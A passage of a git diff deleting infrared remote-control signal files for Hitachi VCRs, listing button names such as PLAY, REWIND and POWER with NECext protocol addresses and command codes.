00 -command: 09 00 00 00 -# -name: VCR1_F.FWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VTR1_FF/VI.SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: F.FWD/VISUAL_SRCH_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: VCR_FFWD_>>/>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 09 00 00 00 -# -name: REWIND_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VTR_REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: REW/SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR1_REW<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR1_REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: REW/VISUAL_SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: REW/VI.SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR_REW_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR1_REW/V.SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR1_REW/VISUAL_SRCH -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR1_REW/SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VTR1_REW/VI.SRCH_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 0A 00 00 00 -# -name: VCR_REW_< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: F_ADV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: VCR1_F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: VCR1_SKIP/F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: VCR1_F.ADV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: VTR1_F.ADV_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: VCR1_F_ADV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: STILL_F.ADV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 10 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: SLOW_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: VCR1_SLOW_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: VCR1_SLOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: VTR1_SLOW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 11 00 00 00 -# -name: X2_FAST -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 12 00 00 00 -# -name: X2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 12 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VTR_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VCR1_PLAY> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VCR1_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VCR_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: VTR1_PLAY_> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 14 00 00 00 -# -name: MONITOR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: VCR1_AUDIO_MONITOR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: VTR1_UNKNOWN_2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: VCR1_CH1/2 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: VCR1_MONITOR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 15 00 00 00 -# -name: VCR_TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR1_VCR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: TV/VCR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VTR_VTR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: TV/VTR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VTR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VTR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR_VCR/TV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VTR1_UNKNOWN_1 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: VCR1_TV/VCR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 16 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VTR_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VCR1_OPERATE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VCR1_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VCR_POWER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: VTR1_OPERATE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 17 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_-- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VTR_CHANNEL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: V_(CHANNEL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_V_(AUX) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHAN_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR1_CH_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR_CH_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR1_CHANNEL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VTR1_TV_PROGRAMME_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: VCR_CHANNEL_V -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CH- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 18 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VTR_CHANNEL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: ^_(CHANNEL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_^_(AUX) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CHAN_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CHANNEL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR1_CH_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR_CH_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR1_CHANNEL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VTR1_TV_PROGRAMME_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: VCR_CHANNEL_^ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: CH_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 19 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VTR_PAUSE_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: PAUSE_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VCR1_PAUSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: EDIT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VCR1_PAUSE_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VCR_PAUSE_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VCR1_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: VTR1_PAUSE/STILL_ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1A 00 00 00 -# -name: REVERSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1B 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VTR_4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: 4_(WED) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VCR1_4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: 4_JKL -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VCR_4 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VTR1_4_(G_H_I_WKL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: VCR1_4_(DAILY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1C 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VTR_5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: 5_(THU) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR1_5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: 5_MNO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR_5 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR1_5_(DAILY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VTR1_5_(J_K_L) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR_5_(DAILY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: VCR1_5_DAILY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1D 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VTR_6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 6_(FRI) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6_(CL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 6_PQR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR_6 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6_PL -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 6_PL -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6_(WEEKLY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6_(PL) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VTR1_6_(M_N_O) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR_6_(WEEKLY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: VCR1_6_WEEKLY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VTR_7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: 7_(SAT) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VCR1_7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: 7_STU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VCR_7 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VTR1_7_(P_R_S_DLY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: VCR1_7_(WEEKLY) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 1F 00 00 00 -# -name: ART -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 20 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 21 00 00 00 -# -name: PNP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 22 00 00 00 -# -name: P_IN_P -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 22 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 23 00 00 00 -# -name: MULTI -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 26 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 27 00 00 00 -# -name: RECALL -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 2A 00 00 00 -# -name: VCR1_A.DUB -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 2C 00 00 00 -# -name: TAPE_SPEED -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 30 00 00 00 -# -name: VCR1_T.SPEED -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 30 00 00 00 -# -name: VCR1_TAPE_SPEED -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 30 00 00 00 -# -name: VCR1_SP/EP -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 30 00 00 00 -# -name: VTR1_TAPE_SPEED -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 30 00 00 00 -# -name: AVX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VCR1_AUX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VCR1_AVX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VCR_AVX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VCR1_INPUT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VTR1_TRANS_(AUX) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 34 00 00 00 -# -name: VCR1_MTS_MONO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 38 00 00 00 -# -name: EJECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 39 00 00 00 -# -name: VCR1_EJECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 39 00 00 00 -# -name: VTR1_EJECT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 39 00 00 00 -# -name: VCR1_V.DUB -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3A 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3B 00 00 00 -# -name: VCR1_GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3B 00 00 00 -# -name: INTELASCAN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3B 00 00 00 -# -name: TRACKING_-_AUTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: AUTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: VCR1_AUTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: VCR1_TRACKING_AUTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: VTR1_AUTO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: VCR1_AUTO_TRACKING -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 3E 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: VCR1_MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: VCR1_GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: VCR_GUIDE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: VTR1_MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: SCREEN_MENU -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 40 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR1_0000 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR1_CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR_CLEAR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR1_CLEAR_CNT_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: CLEAR_COUNT_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR1_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VTR1_COUNTER_0000 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: COUNTER_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: VCR1_T-160_RESET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 41 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: VCR1_DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: VCR_DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: VTR1_DISP. -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: SCREEN_DISPLAY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: DISPLY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 42 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 43 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: VCR1_MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: RETURN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: VCR1_TAPE_RETURN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: VTR1_COUNTER_MEMO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: COUNTER_MEMORY -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 44 00 00 00 -# -name: INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: VCR1_INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: VCR1_GO-TO_INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: GO-TO_INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: VTR1_INDEX -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: VCR1_INDEX_GO-TO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 45 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: COUNTER/REMAIN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: VCR1_COUNT_CLOCK -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: COUNTER_REMAIN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: VCR1_COUNTER_REMAIN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: VCR1_REMAIN_MODE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: VTR1_COUNT_REMAIN -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: CLOCK_COUNTER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: VCR1_MODE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 46 00 00 00 -# -name: REPEAT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 47 00 00 00 -# -name: VCR1_REPEAT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 47 00 00 00 -# -name: VCR1_TV_MONITOR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 63 00 00 00 -# -name: VCR1_EDIT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 64 00 00 00 -# -name: VCR1_SET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 65 00 00 00 -# -name: CENTER -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 68 00 00 00 -# -name: VCR1_JOG/SHUTTLE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 68 00 00 00 -# -name: SKIPFF -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 69 00 00 00 -# -name: SKIPRR -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 6A 00 00 00 -# -name: SLOW_MOTION_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 6B 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 6E 00 00 00 -# -name: VCR1_SHUTTLE_FWD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: VCR1_SHUT_FWD_(F.S.) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: VCR1_SHUT_FWD_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: VCR_SHUT_FWD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: VCR1_SHUT.FWD(F.S) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 75 00 00 00 -# -name: VCR1_SHUTTLE_REW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 76 00 00 00 -# -name: VCR1_SHUT_REV_(F.S.) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 76 00 00 00 -# -name: VCR1_SHUT_REV_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 76 00 00 00 -# -name: VCR_SHUT_REV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 76 00 00 00 -# -name: VCR1_SHUT.REV(F.S) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 76 00 00 00 -# -name: FRAME_>> -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: VCR1_JOG_FWD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: JOG_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: VCR1_JOG_FORWARD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: VCR1_JOG/SHU.FORWARD -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7D 00 00 00 -# -name: FRAME_<< -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: VCR1_JOG_REW -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: VCR1_JOG_REV -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: JOG_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: VCR1_JOG_REVERSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: VCR1_JOG/SHU.REVERSE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 7E 00 00 00 -# -name: SHUTTLE_+ -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 83 00 00 00 -# -name: SHUTTLE_- -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 84 00 00 00 -# -name: GO-TO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 86 00 00 00 -# -name: VCR1_GO-TO -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 86 00 00 00 -# -name: TITLE_(LAST_CH) -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8A 00 00 00 -# -name: TITLE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8A 00 00 00 -# -name: VCR1_TITLE -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8A 00 00 00 -# -name: VCR_100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: VCR1_100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: 100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: VCR1_+100 -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: VCR1_+100/ENT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8B 00 00 00 -# -name: VCR1_MTS_SA_SET -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8C 00 00 00 -# -name: VCR1_PRINT -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8E 00 00 00 -# -name: SPECTRA_SONIC -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8F 00 00 00 -# -name: VCR1_SPECTRA_SONIC -type: parsed -protocol: NECext -address: 60 00 00 00 -command: 8F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir deleted file mode 100644 index a967b892d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hitachi/VCR/96,158.ir +++ /dev/null @@ -1,1436 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUTO_TRACKING_^ -type: parsed -protocol: NECext -address: 60 9E 00 00 -command: 00 00 00 00 -# -name: 